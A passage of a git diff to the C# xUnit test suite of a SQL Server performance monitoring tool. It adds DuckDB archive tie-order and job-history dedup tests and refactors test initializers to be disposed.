@@ -143,7 +152,8 @@ public void TheArithmetic_ClampsAtOneBackoff_AndTheDefaultBackoffIsFifteenMinute
         var now = new DateTime(2026, 9, 29, 12, 0, 0, DateTimeKind.Utc);
         var backoff = TimeSpan.FromMinutes(15);
 
-        Assert.Equal(backoff, new ArchiveService(new DuckDbInitializer(Path.Combine(_tempDir, "unused.duckdb")), _archiveDir).ResetRetryBackoff);
+        using var unused = new DuckDbInitializer(Path.Combine(_tempDir, "unused.duckdb"));
+        Assert.Equal(backoff, new ArchiveService(unused, _archiveDir).ResetRetryBackoff);
 
         /* The stamp a failed attempt writes is the longest lead there is, and is a wait. */
         Assert.Equal(now + backoff, CollectorCadence.ClampDue(now + backoff, now, backoff));
diff --git a/Lite.Tests/ArchiveTieOrderTests.cs b/Lite.Tests/ArchiveTieOrderTests.cs
new file mode 100644
index 0000000000..c7fad2c4a6
--- /dev/null
+++ b/Lite.Tests/ArchiveTieOrderTests.cs
@@ -0,0 +1,144 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitorLite.Analysis;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5381: an archive file written in 2,048-row row groups is read by several threads, so a
+/// <c>ROW_NUMBER() ... ORDER BY collection_time DESC</c> that ties (same statement, different sql_handle, one
+/// collection_time) no longer picks the same row each run. The analysis reads break the tie with collection_id.
+/// </summary>
+/* ArchiveAllAndResetAsync takes CollectionResetGate and ArchiveService's process-wide s_archiveLock, so this
+   class joins the serialized collection CollectionResetGateTests defines. */
+[Collection("CollectionResetGate")]
+public sealed class ArchiveTieOrderTests : IDisposable
+{
+    private readonly List<DuckDbInitializer> _initializers = [];
+    private readonly string _tempDir;
+    private readonly string _dbPath;
+    private readonly string _archiveDir;
+
+    public ArchiveTieOrderTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _dbPath = Path.Combine(_tempDir, "test.duckdb");
+        _archiveDir = Path.Combine(_tempDir, "archive");
+        Directory.CreateDirectory(_archiveDir);
+    }
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private const int Keys = 2000;
+    private const int RowsPerKey = 6;
+    private const int OffenderKeys = 10;
+
+    /// <summary>
+    /// 2,000 statements with six rows each, every row at ONE collection_time (12,000 rows, about six row groups).
+    /// For ten of the statements only the row with the highest collection_id has a wide min/max worker-time spread;
+    /// the other five rows of that statement, and every row of every other statement, are flat. So which row
+    /// "rn = 1" picks decides whether the statement is a parameter-sensitivity offender.
+    /// </summary>
+    private async Task<DuckDbInitializer> SeedArchivedTiesAsync()
+    {
+        var initializer = new DuckDbInitializer(_dbPath);
+        _initializers.Add(initializer);
+        await initializer.InitializeFromTemplateAsync();
+
+        var at = TestDataSeeder.TestPeriodStart.AddMinutes(30);
+        var created = TestDataSeeder.TestPeriodStart.AddDays(-3);
+        using (var connection = new DuckDBConnection($"Data Source={_dbPath}"))
+        {
+            await connection.OpenAsync(TestContext.Current.CancellationToken);
+            using var seed = connection.CreateCommand();
+            seed.CommandText = $@"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash,
+     creation_time, execution_count, min_worker_time, max_worker_time, min_grant_kb, max_grant_kb,
+     min_spills, max_spills, query_text, delta_execution_count)
+SELECT
+    (r * {Keys} + k + 1)::BIGINT,
+    TIMESTAMP '{at:yyyy-MM-dd HH:mm:ss}',
+    {TestDataSeeder.TestServerId}, 'TIE', 'TieDb', 'QH' || k, 'PH' || k,
+    TIMESTAMP '{created:yyyy-MM-dd HH:mm:ss}', 100,
+    CASE WHEN r = {RowsPerKey - 1} AND k < {OffenderKeys} THEN 10000 ELSE 300000 END,
+    CASE WHEN r = {RowsPerKey - 1} AND k < {OffenderKeys} THEN 1000000 ELSE 300000 END,
+    1024, 1024, 0, 0, 'SELECT 1', 1
+FROM range({RowsPerKey}) AS a(r), range({Keys}) AS b(k)";
+            await seed.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+        }
+
+        await new ArchiveService(initializer, _archiveDir).ArchiveAllAndResetAsync();
+        return initializer;
+    }
+
+    private static string FormatFact(Fact fact)
+    {
+        var offenders = fact.Metadata["offender_count"];
+        var ratio = fact.Metadata["worst_ratio"];
+        return $"offenders={offenders} ratio={ratio}";
+    }
+
+    [Fact]
+    public async Task ParameterSensitivity_PicksTheSameRowAcrossRuns_ForTiedCollectionTimesInAMultiGroupArchiveFile()
+    {
+        var initializer = await SeedArchivedTiesAsync();
+
+        var file = Directory.GetFiles(_archiveDir, "*_query_stats.parquet").Single().Replace('\\', '/');
+        using (var connection = new DuckDBConnection("Data Source=:memory:"))
+        {
+            await connection.OpenAsync(TestContext.Current.CancellationToken);
+            using var cmd = connection.CreateCommand();
+            cmd.CommandText = $"SELECT count(DISTINCT row_group_id) FROM parquet_metadata('{file}')";
+            var groups = Convert.ToInt64(await cmd.ExecuteScalarAsync(TestContext.Current.CancellationToken));
+            Assert.True(groups > 1, $"the archive file is {groups} row group(s); the tie order only varies across several");
+        }
+
+        var collector = new DuckDbFactCollector(initializer);
+        var context = TestDataSeeder.CreateTestContext();
+        var seen = new HashSet<string>();
+        for (var run = 0; run < 20; run++)
+        {
+            var facts = await collector.CollectFactsAsync(context);
+            var fact = facts.SingleOrDefault(f => f.Key == "PARAMETER_SENSITIVITY");
+            seen.Add(fact is null ? "none" : FormatFact(fact));
+        }
+
+        /* collection_id DESC makes the newest-inserted row of a tie the one rn = 1 picks, and that row is the wide
+           one for each of the ten statements. */
+        Assert.Equal([$"offenders={OffenderKeys} ratio=100"], seen.ToArray());
+    }
+}
diff --git a/Lite.Tests/ArchiveViewDedupTests.cs b/Lite.Tests/ArchiveViewDedupTests.cs
index dd8c1177de..12f01aad03 100644
--- a/Lite.Tests/ArchiveViewDedupTests.cs
+++ b/Lite.Tests/ArchiveViewDedupTests.cs
@@ -1,5 +1,7 @@
 using System;
+using System.Collections.Generic;
 using System.IO;
+using System.Text.Json;
 using System.Threading.Tasks;
 using DuckDB.NET.Data;
 using PerformanceMonitorLite.Database;
@@ -85,8 +87,8 @@ private async Task StageArchiveAndRecollectAsync(
     [Fact]
     public async Task VJobHistory_DedupsReCollectedRowsOnServerAndInstanceId()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         using (var connection = await OpenAsync())
         {
@@ -132,11 +134,146 @@ INSERT INTO job_history
         }
     }
 
+    /// <summary>
+    /// #5457: run_datetime is part of the job_history dedup key, so an archived copy and a live copy of one run,
+    /// which carry the same non-NULL run_datetime (it is decoded from the msdb row's own run_date and run_time),
+    /// still collapse to one row, and the live copy wins. Rows with a NULL run_datetime still group together
+    /// (the older test above inserts none).
+    /// </summary>
+    [Fact]
+    public async Task VJobHistory_CollapsesAnArchivedAndALiveCopyOfOneRunWithTheSameRunDatetime()
+    {
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
+
+        const string Columns = @"
+    (job_history_id, collection_time, server_id, server_name, instance_id, job_id, job_name,
+     job_enabled, step_id, run_status, run_datetime, run_duration_seconds, retries_attempted, message)";
+
+        using (var connection = await OpenAsync())
+        {
+            var archived = "INSERT INTO job_history" + Columns + @"
+VALUES
+    (1, TIMESTAMP '2026-01-01 00:00:00', 1, 'S1', 100, 'j', 'Job', true, 0, 1, TIMESTAMP '2025-12-31 23:10:00', 10, 0, 'archived-A'),
+    (2, TIMESTAMP '2026-01-01 00:00:00', 1, 'S1', 200, 'j', 'Job', true, 0, 1, TIMESTAMP '2025-12-31 23:20:00', 10, 0, 'archived-B'),
+    (3, TIMESTAMP '2026-01-01 00:00:00', 1, 'S1', 300, 'j', 'Job', true, 0, 1, NULL, 10, 0, 'archived-NULL')";
+            var recollected = "INSERT INTO job_history" + Columns + @"
+VALUES
+    (11, TIMESTAMP '2026-06-01 00:00:00', 1, 'S1', 200, 'j', 'Job', true, 0, 1, TIMESTAMP '2025-12-31 23:20:00', 10, 0, 'hot-B'),
+    (12, TIMESTAMP '2026-06-01 00:00:00', 1, 'S1', 300, 'j', 'Job', true, 0, 1, NULL, 10, 0, 'hot-NULL'),
+    (13, TIMESTAMP '2026-06-01 00:00:00', 1, 'S1', 400, 'j', 'Job', true, 0, 1, TIMESTAMP '2026-05-31 23:50:00', 10, 0, 'hot-D')";
+            await StageArchiveAndRecollectAsync(connection, "job_history", archived, recollected);
+        }
+
+        await initializer.CreateArchiveViewsAsync();
+
+        using (var connection = await OpenAsync())
+        {
+            /* Four logical runs, not six: 200 (same non-NULL run_datetime) and 300 (NULL run_datetime) collapse. */
+            Assert.Equal(4, await ScalarAsync<int>(connection, "SELECT COUNT(*) FROM v_job_history"));
+            Assert.Equal(1, await ScalarAsync<int>(connection,
+                "SELECT MAX(c) FROM (SELECT COUNT(*) AS c FROM v_job_history GROUP BY server_id, instance_id)"));
+            Assert.Equal("hot-B", await ScalarAsync<string>(connection,
+                "SELECT message FROM v_job_history WHERE instance_id = 200"));
+            Assert.Equal("hot-NULL", await ScalarAsync<string>(connection,
+                "SELECT message FROM v_job_history WHERE instance_id = 300"));
+            Assert.Equal("archived-A", await ScalarAsync<string>(connection,
+                "SELECT message FROM v_job_history WHERE instance_id = 100"));
+        }
+    }
+
+    /// <summary>
+    /// #5457: DuckDB moves a filter below a window only when the filter reads nothing but PARTITION BY columns.
+    /// With the dedup keyed on (server_id, instance_id) alone, a Job History read's run_datetime filter stayed
+    /// ABOVE the window, so every read loaded and sorted the server's whole archive (message text included)
+    /// before it could drop a row: 11 s and ~0.7 GB per server read on a 30-server store, past Lite's memory
+    /// cap on a larger one. run_datetime in the key lets the filter reach the table and parquet scans. This pins
+    /// the plan shape of the predicate pair the Job History readers use.
+    /// </summary>
+    [Fact]
+    public async Task VJobHistory_RunDatetimeFilterRunsBelowTheDedupAndReachesBothScans()
+    {
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
+
+        const string Columns = @"
+    (job_history_id, collection_time, server_id, server_name, instance_id, job_id, job_name,
+     job_enabled, step_id, run_status, run_datetime, run_duration_seconds, retries_attempted, message)";
+
+        using (var connection = await OpenAsync())
+        {
+            var archived = "INSERT INTO job_history" + Columns + @"
+VALUES
+    (1, TIMESTAMP '2026-01-01 00:00:00', 1, 'S1', 100, 'j', 'Job', true, 0, 1, TIMESTAMP '2025-12-31 23:10:00', 10, 0, 'archived-A'),
+    (2, TIMESTAMP '2026-01-01 00:00:00', 1, 'S1', 101, 'j', 'Job', true, 0, 1, TIMESTAMP '2025-06-01 00:00:00', 10, 0, 'archived-old')";
+            var recollected = "INSERT INTO job_history" + Columns + @"
+VALUES
+    (11, TIMESTAMP '2026-06-01 00:00:00', 1, 'S1', 400, 'j', 'Job', true, 0, 1, TIMESTAMP '2026-05-31 23:50:00', 10, 0, 'hot-D'),
+    (12, TIMESTAMP '2026-06-01 00:00:00', 1, 'S1', 401, 'j', 'Job', true, 0, 1, TIMESTAMP '2025-11-15 00:00:00', 10, 0, 'hot-old')";
+            await StageArchiveAndRecollectAsync(connection, "job_history", archived, recollected);
+        }
+
+        await initializer.CreateArchiveViewsAsync();
+
+        using (var connection = await OpenAsync())
+        {
+            /* Each side holds one row before the cutoff and one after it, so DuckDB can neither prove from the file or
+               table statistics that nothing matches (the scan becomes an EMPTY_RESULT node with no filter to pin)
+               nor that everything does (the filter is dropped from the scan). */
+            using var cmd = connection.CreateCommand();
+            cmd.CommandText = @"EXPLAIN (FORMAT JSON)
+SELECT * FROM v_job_history WHERE run_datetime >= TIMESTAMP '2025-12-01 00:00:00' AND server_id = 1";
+            string planJson;
+            using (var reader = await cmd.ExecuteReaderAsync(TestContext.Current.CancellationToken))
+            {
+                Assert.True(await reader.ReadAsync(TestContext.Current.CancellationToken));
+                planJson = reader.GetString(1);
+            }
+
+            var filtersOnRunDatetime = new List<string>();
+            var scansWithRunDatetime = new List<string>();
+            var scansWithoutRunDatetime = new List<string>();
+            using var doc = JsonDocument.Parse(planJson);
+            foreach (var root in doc.RootElement.EnumerateArray())
+                WalkPlan(root, filtersOnRunDatetime, scansWithRunDatetime, scansWithoutRunDatetime);
+
+            Assert.True(filtersOnRunDatetime.Count == 0,
+                "run_datetime must be pushed below the dedup window, but a FILTER node still reads it above the dedup: "
+                + string.Join(" | ", filtersOnRunDatetime) + "\n" + planJson);
+            /* Both the hot table scan and the parquet scan carry it. */
+            Assert.True(scansWithoutRunDatetime.Count == 0,
+                "a scan under the dedup does not carry the run_datetime filter: "
+                + string.Join(" | ", scansWithoutRunDatetime) + "\n" + planJson);
+            Assert.True(scansWithRunDatetime.Count >= 2,
+                "expected the table scan and the parquet scan to both carry the run_datetime filter, saw "
+                + scansWithRunDatetime.Count + "\n" + planJson);
+        }
+    }
+
+    private static void WalkPlan(
+        JsonElement node, List<string> filtersOnRunDatetime, List<string> scansWith, List<string> scansWithout)
+    {
+        var name = node.TryGetProperty("name", out var n) ? n.GetString() ?? "" : "";
+        string extra = node.TryGetProperty("extra_info", out var e) ? e.GetRawText() : "";
+        if (name == "FILTER" && extra.Contains("run_datetime", StringComparison.Ordinal))
+            filtersOnRunDatetime.Add(extra);
+        if (name is "SEQ_SCAN" or "READ_PARQUET" or "TABLE_SCAN")
+        {
+            if (extra.Contains("run_datetime>=", StringComparison.Ordinal))
+                scansWith.Add(name);
+            else
+                scansWithout.Add(name + " " + extra);
+        }
+        if (node.TryGetProperty("children", out var children))
+            foreach (var child in children.EnumerateArray())
+                WalkPlan(child, filtersOnRunDatetime, scansWith, scansWithout);
+    }
+
     [Fact]
     public async Task VDefaultTraceEvents_DedupsReCollectedRowsOnEventTimeAndSequence()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         using (var connection = await OpenAsync())
         {
@@ -178,8 +315,8 @@ INSERT INTO default_trace_events
 
     private async Task<int> StageDeadlocksAsync(string archived, string live)
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
         using (var connection = await OpenAsync())
         {
             await StageArchiveAndRecollectAsync(connection, "deadlocks", archived, live);
@@ -198,8 +335,8 @@ public async Task VDeadlocks_IsAPlainUnion_ReadingEveryCopy()
     (1, TIMESTAMP '2026-01-01 00:00:00', 1, 'S1', TIMESTAMP '2026-01-01 10:00:00', 'p1', 'q', '<deadlock>A</deadlock>')";
         var live = $@"INSERT INTO deadlocks {DeadlockInsertColumns} VALUES
     (11, TIMESTAMP '2026-06-01 00:00:00', 1, 'S1', TIMESTAMP '2026-01-01 10:00:00', 'p1', 'q', '<deadlock>A</deadlock>')";
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
         using (var connection = await OpenAsync())
         {
             await StageArchiveAndRecollectAsync(connection, "deadlocks", archived, live);
diff --git a/Lite.Tests/ArchiveViewPartFileTests.cs b/Lite.Tests/ArchiveViewPartFileTests.cs
index 625711ef0d..f2415f4313 100644
--- a/Lite.Tests/ArchiveViewPartFileTests.cs
+++ b/Lite.Tests/ArchiveViewPartFileTests.cs
@@ -83,8 +83,8 @@ INSERT INTO collection_log (log_id, server_id, server_name, collector_name, coll
     [Fact]
     public async Task MonthStoredOnlyAsPartFiles_IsVisibleThroughTheView()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         await ArchiveRowsAsync("202609_collection_log_pt001.parquet", 0, 100);
         await ArchiveRowsAsync("202609_collection_log_pt002.parquet", 100, 150);
@@ -97,8 +97,8 @@ public async Task MonthStoredOnlyAsPartFiles_IsVisibleThroughTheView()
     [Fact]
     public async Task PlainMonthlyAndPartFiles_AreBothVisibleThroughTheView()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         await ArchiveRowsAsync("202608_collection_log.parquet", 0, 40);
         await ArchiveRowsAsync("202609_collection_log_pt001.parquet", 40, 100);
@@ -117,8 +117,8 @@ public async Task PlainMonthlyAndPartFiles_AreBothVisibleThroughTheView()
     [Fact]
     public async Task ATableWithoutPartFiles_KeepsASingleGlob()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         await ArchiveRowsAsync("202609_collection_log.parquet", 0, 10);
 
diff --git a/Lite.Tests/ArchiveViewRefreshAfterDeleteTests.cs b/Lite.Tests/ArchiveViewRefreshAfterDeleteTests.cs
index f3872baef2..438c4901fb 100644
--- a/Lite.Tests/ArchiveViewRefreshAfterDeleteTests.cs
+++ b/Lite.Tests/ArchiveViewRefreshAfterDeleteTests.cs
@@ -85,8 +85,8 @@ INSERT INTO collection_log (log_id, server_id, server_name, collector_name, coll
     [Fact]
     public async Task RetentionDeletingTheLastPartFile_LeavesTheViewReadable()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
         var thisMonth = DateTime.UtcNow.ToString("yyyyMM");
 
         await ArchiveRowsAsync("200001_collection_log_pt001.parquet", 0, 40);
@@ -103,8 +103,8 @@ public async Task RetentionDeletingTheLastPartFile_LeavesTheViewReadable()
     [Fact]
     public async Task RetentionDeletingTheLastPlainFile_WhilePartFilesRemain_LeavesTheViewReadable()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
         var thisMonth = DateTime.UtcNow.ToString("yyyyMM");
 
         await ArchiveRowsAsync("200001_collection_log.parquet", 0, 40);
@@ -128,8 +128,8 @@ public async Task RetentionDeletingTheLastPlainFile_WhilePartFilesRemain_LeavesT
     [Fact]
     public async Task TheBackgroundServicesRetentionStep_RebuildsTheViewsAfterItDeletesAFile()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
         var thisMonth = DateTime.UtcNow.ToString("yyyyMM");
 
         await ArchiveRowsAsync("200001_collection_log_pt001.parquet", 0, 40);
@@ -157,8 +157,8 @@ public async Task TheBackgroundServicesRetentionStep_RebuildsTheViewsAfterItDele
     [Fact]
     public async Task RemovingFilesLeftByAKilledReset_LeavesTheViewReadable_EvenWhenTheNextResetIsAbandoned()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         await ArchiveRowsAsync("20260901_0000_collection_log.parquet", 0, 40);
         await ExecAsync(@"
diff --git a/Lite.Tests/ArchiveWatermarkCacheTests.cs b/Lite.Tests/ArchiveWatermarkCacheTests.cs
index 5e38349120..5a60891987 100644
--- a/Lite.Tests/ArchiveWatermarkCacheTests.cs
+++ b/Lite.Tests/ArchiveWatermarkCacheTests.cs
@@ -80,8 +80,8 @@ public async Task PeriodicDelete_BumpsGeneration_OnlyWhenRowsAreDeleted()
         var dbPath = Path.Combine(_tempDir, "test.duckdb");
         var archivePath = Path.Combine(_tempDir, "archive");
         Directory.CreateDirectory(archivePath);
-        var initializer = new DuckDbInitializer(dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         using (var connection = new DuckDBConnection($"Data Source={dbPath}"))
         {
@@ -108,7 +108,7 @@ public async Task PeriodicDelete_BumpsGeneration_OnlyWhenRowsAreDeleted()
     [Fact]
     public async Task BumpArchiveViewGeneration_RaisesGeneration()
     {
-        var initializer = new DuckDbInitializer(Path.Combine(_tempDir, "bump.duckdb"));
+        using var initializer = new DuckDbInitializer(Path.Combine(_tempDir, "bump.duckdb"));
         var before = initializer.ArchiveViewGeneration;
         initializer.BumpArchiveViewGeneration();
         Assert.Equal(before + 1, initializer.ArchiveViewGeneration);
diff --git a/Lite.Tests/ArchiveWatermarkGreaterOfTests.cs b/Lite.Tests/ArchiveWatermarkGreaterOfTests.cs
index 8081a08baa..2c7003d7b9 100644
--- a/Lite.Tests/ArchiveWatermarkGreaterOfTests.cs
+++ b/Lite.Tests/ArchiveWatermarkGreaterOfTests.cs
@@ -49,6 +49,7 @@ public ArchiveWatermarkGreaterOfTests()
 
     public void Dispose()
     {
+        _duckDb.Dispose();
         CollectionResetGate.ResetForTests();
         try
         {
@@ -97,9 +98,29 @@ public int CacheEntryCount()
 
     private static string Ts(DateTime t) => $"TIMESTAMP '{t:yyyy-MM-dd HH:mm:ss}'";
 
+    /* The first call builds the store from the pre-built schema. A later call (the seed after a reset) used to run
+       the whole InitializeAsync again, ~80 table and index statements under the process-wide write lock, to get two
+       things: the archive views rebuilt over what the reset exported, and the archive view generation bumped so a
+       watermark cached before the reset is not reused. CreateArchiveViewsAsync does exactly those two and nothing
+       else (#5208). */
+    private bool _storeBuilt;
+
+    private async Task BuildOrRefreshStoreAsync()
+    {
+        if (!_storeBuilt)
+        {
+            await _duckDb.InitializeFromTemplateAsync();
+            _storeBuilt = true;
+        }
+        else
+        {
+            await _duckDb.CreateArchiveViewsAsync();
+        }
+    }
+
     private async Task ExecuteAsync(params string[] statements)
     {
-        await _duckDb.InitializeAsync();
+        await BuildOrRefreshStoreAsync();
         using var connection = new DuckDBConnection($"Data Source={_dbPath}");
         await connection.OpenAsync(TestContext.Current.CancellationToken);
         foreach (var sql in statements)
diff --git a/Lite.Tests/ArchivedHistoryReadersTests.cs b/Lite.Tests/ArchivedHistoryReadersTests.cs
index 905e83ac23..7e88bb4710 100644
--- a/Lite.Tests/ArchivedHistoryReadersTests.cs
+++ b/Lite.Tests/ArchivedHistoryReadersTests.cs
@@ -21,6 +21,8 @@ class joins the serialized collection CollectionResetGateTests defines. */
 [Collection("CollectionResetGate")]
 public sealed class ArchivedHistoryReadersTests : IDisposable
 {
+    private readonly List<DuckDbInitializer> _initializers = [];
+
     private const int ServerId = TestDataSeeder.TestServerId;
 
     private readonly string _tempDir;
@@ -38,6 +40,11 @@ public ArchivedHistoryReadersTests()
 
     public void Dispose()
     {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
         try
         {
             if (Directory.Exists(_tempDir))
@@ -75,7 +82,8 @@ private async Task<long> HotRowsAsync(string table)
     private async Task<LocalDataService> WriteThenResetAsync(string table, Func<DuckDbInitializer, Task> seed)
     {
         var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        _initializers.Add(initializer);
+        await initializer.InitializeFromTemplateAsync();
         await seed(initializer);
         Assert.True(await HotRowsAsync(table) > 0, $"the seed wrote no {table} row");
 
diff --git a/Lite.Tests/AuroraOnlySqlIsGatedTests.cs b/Lite.Tests/AuroraOnlySqlIsGatedTests.cs
index 08853f8170..9c1a9630d5 100644
--- a/Lite.Tests/AuroraOnlySqlIsGatedTests.cs
+++ b/Lite.Tests/AuroraOnlySqlIsGatedTests.cs
@@ -43,6 +43,8 @@ namespace Lite.Tests;
 /// file arrive unexamined.
 /// </para>
 /// </summary>
+[Trait("Reads", "Darling")]
+[Trait("Stage", "Guard")]
 public class AuroraOnlySqlIsGatedTests
 {
     /// <summary>The Aurora-extended surfaces. Community PostgreSQL has none of them under any version.</summary>
diff --git a/Lite.Tests/AvailabilityGroupsGridSortTests.cs b/Lite.Tests/AvailabilityGroupsGridSortTests.cs
index 93b8d9e7c7..936e068c60 100644
--- a/Lite.Tests/AvailabilityGroupsGridSortTests.cs
+++ b/Lite.Tests/AvailabilityGroupsGridSortTests.cs
@@ -26,6 +26,7 @@ namespace Lite.Tests;
 /// this pins both files rather than one — the exact drift shape <see cref="MainWindowAccessKeyTests"/>'
 /// remarks describe for this same pair of files.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class AvailabilityGroupsGridSortTests
 {
     private const string LiteGrid = "Lite/Controls/AvailabilityGroupsTab.xaml";
diff --git a/Lite.Tests/AvailabilityGroupsTabRefreshTests.cs b/Lite.Tests/AvailabilityGroupsTabRefreshTests.cs
index ebf0977925..637efd7476 100644
--- a/Lite.Tests/AvailabilityGroupsTabRefreshTests.cs
+++ b/Lite.Tests/AvailabilityGroupsTabRefreshTests.cs
@@ -32,7 +32,7 @@ public sealed class AvailabilityGroupsTabRefreshTests
     [Fact]
     public void Render_SameRowsAcrossTwoCalls_KeepsTheSameCardInstances()
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var tab = new AvailabilityGroupsTab();
 
@@ -72,7 +72,7 @@ public void Render_UnchangedRows_ReplacesNoCardReplicaOrDatabaseInstances()
            reconcile every card, replica and database IN PLACE and never rebuild any of them. A regression that
            tears down and rebuilds rows -- or an O(n^2) loop that amounts to the same thing -- shows up here as a
            nonzero replaced count, independent of how loaded the runner is. */
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var tab = new AvailabilityGroupsTab();
             var topology = BuildTopology(agCount: 42, replicasPerAg: 2, dbRowsPerAg: 9, extraDbRowsOnFirst: 20);
@@ -189,25 +189,6 @@ private static List<AgTopologyCard> BuildTopology(int agCount, int replicasPerAg
         return AgTopology.BuildCards(replicas, databases);
     }
 
-    /// <summary>WPF objects require STA; same shape as Darling.Tests' RawWindowFloorViewerPortTests.</summary>
-    private static void OnStaThread(Action body)
-    {
-        Exception? error = null;
-        var thread = new Thread(() =>
-        {
-            try { body(); }
-            catch (Exception ex) { error = ex; }
-        });
-        thread.SetApartmentState(ApartmentState.STA);
-        thread.Start();
-        thread.Join();
-
-        if (error is not null)
-        {
-            throw error;
-        }
-    }
-
     /* Locate the repo from this file — the DarlingLockTimeoutYieldTests idiom; no build-output copying. */
     private static string ReadRepoFile(string relative, [CallerFilePath] string thisFile = "")
     {
diff --git a/Lite.Tests/AzureDatabaseSizeSiblingTests.cs b/Lite.Tests/AzureDatabaseSizeSiblingTests.cs
index 2f679a7d9d..35fd9946b3 100644
--- a/Lite.Tests/AzureDatabaseSizeSiblingTests.cs
+++ b/Lite.Tests/AzureDatabaseSizeSiblingTests.cs
@@ -36,6 +36,11 @@ namespace Lite.Tests;
 /// space USED (<c>storage_in_megabytes</c>) is <c>used_size_mb</c>. The arm first stored the used figure as the
 /// total, so a sibling read 119 MB where its allocation was 10,240 MB and no free space could be worked out.
 /// </para>
+///
+/// <para>
+/// #5498 retired the arm that this history describes (see the first two tests); the reader tests below stay because
+/// stored sibling rows keep their shape and the reader still has to survive that shape.
+/// </para>
 /// </summary>
 public class AzureDatabaseSizeSiblingTests
 {
@@ -44,136 +49,35 @@ public class AzureDatabaseSizeSiblingTests
             .GetField("AzureSqlDbQueryText", BindingFlags.NonPublic | BindingFlags.Static)!
             .GetValue(null)!;
 
-    [Fact]
-    public void TheAzureQueryReadsBothTheConnectedDatabaseAndItsSiblings()
-    {
-        Assert.Contains("sys.database_files", AzureSql, StringComparison.Ordinal);
-        Assert.Contains("sys.resource_stats", AzureSql, StringComparison.Ordinal);
-    }
-
-    /// <summary>
-    /// The sibling read goes through <c>sp_executesql</c>, and that is the load-bearing detail.
-    ///
-    /// <para><c>sys.resource_stats</c> does not EXIST in a user database, and SQL Server resolves names at
-    /// PARSE time — so a plain <c>UNION</c> guarded by <c>WHERE DB_NAME() = N'master'</c> still fails with
-    /// <b>error 208 on every user database</b>, which is the common case. That is not a theory: the first
-    /// version of this shipped exactly that shape, and running it from a user database returned 208
-    /// immediately. Deferring the reference until the branch runs is the only thing that fixes it.</para>
-    /// </summary>
-    [Fact]
-    public void TheSiblingReadIsDeferred_BecauseTheViewDoesNotExistInAUserDatabase()
-    {
-        Assert.Contains("IF DB_NAME() = N'master'", AzureSql, StringComparison.Ordinal);
-        Assert.Contains("EXEC sys.sp_executesql", AzureSql, StringComparison.Ordinal);
-
-        /* The reference must be INSIDE the deferred string, not in the outer batch where parsing reaches
-           it regardless of the branch. */
-        var execIndex = AzureSql.IndexOf("EXEC sys.sp_executesql", StringComparison.Ordinal);
-        var viewIndex = AzureSql.IndexOf("sys.resource_stats", StringComparison.Ordinal);
-
-        Assert.True(viewIndex > execIndex,
-            "sys.resource_stats is referenced in the outer batch — parsing reaches it on a user database and fails 208 before any guard runs.");
-    }
-
-    /// <summary>
-    /// A sibling row is honest about being a database rather than a file. <c>sys.resource_stats</c> has no
